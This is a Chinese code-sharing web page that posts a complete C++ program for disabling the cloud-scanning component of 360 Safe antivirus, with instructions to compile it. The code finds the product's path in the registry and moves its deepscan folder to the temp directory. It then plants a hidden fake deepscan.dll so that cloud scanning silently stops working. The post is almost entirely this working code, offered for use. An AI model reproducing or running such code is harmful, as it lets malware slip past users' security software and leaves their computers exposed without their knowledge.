注册
登录
| 关键词： TempPath pBuf wsprintf comment pragma char linker deepscan exe dll |
把下面的代码保存为一个cpp文件，用vc6.0编译即可 用了一个API函数 MoveFile ，把360云查杀的文件夹移动到temp目录，这样就让云查杀失效了，对开了保险箱的也是有效的 c 代码 01.// ****************************************** fuck 360.cpp *********************************************** 02.// By：洪流 03.#pragma comment(linker, "/OPT:NOWIN98") 04.#pragma comment(linker, "/merge:.data=.text") 05.#pragma comment(linker, "/merge:.rdata=.text") 06.#pragma comment(linker, "/align:0x200") 07.#pragma comment(linker, "/subsystem:windows") 08.#include <windows.h> 09.#include <stdio.h> 10.#pragma comment(lib,"MSVCRT.lib") 11.#pragma comment(linker,"/ENTRY:Torrent /FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text CTION:.text,EWR /IGNORE:4078") 12.void Torrent() 13.{ 14.HKEY hKey = NULL; 15.DWORD len=MAX_PATH; 16.DWORD type=REG_SZ; 17.char pBuf[200]; 18.RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360Safe.exe",0,KEY_ALL_ACCESS,&hKey); 19.if (RegQueryValueEx(hKey, "Path" , NULL, &type, (unsigned char*)pBuf, &len) == ERROR_SUCCESS) 20.{ 21.char TempPath[200]; 22.char exe[200]; 23.char dll[200]; 24.char exe_1[200]; 25.char dll_1[200]; 26.GetTempPath(sizeof(TempPath),TempPath); 27.wsprintf(TempPath,"%s\\tmp",TempPath); 28.wsprintf(pBuf,"%s\\deepscan",pBuf); 29.MoveFile(pBuf,TempPath); 30.CreateDirectory(pBuf,NULL); 31.wsprintf(exe,"%s\\360deepscan.exe",TempPath); 32.wsprintf(dll,"%s\\360wservice.dll",TempPath); 33.wsprintf(exe_1,"%s\\360deepscan.exe",pBuf); 34.wsprintf(dll_1,"%s\\360wservice.dll",pBuf); 35.CopyFile(exe,exe_1,FALSE); 36.CopyFile(dll,dll_1,FALSE); 37.FILE *file; 38.strcat(pBuf,"\\deepscan.dll"); 39.file=fopen(pBuf,"w"); 40.char fuck[10]; 41.wsprintf(fuck,"deepscan"); 42.fputs(fuck,file); 43.fclose(file); 44.SetFileAttributes(pBuf, FILE_ATTRIBUTE_HIDDEN); 45.} 46.RegCloseKey(hKey); 47.} 48.// |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
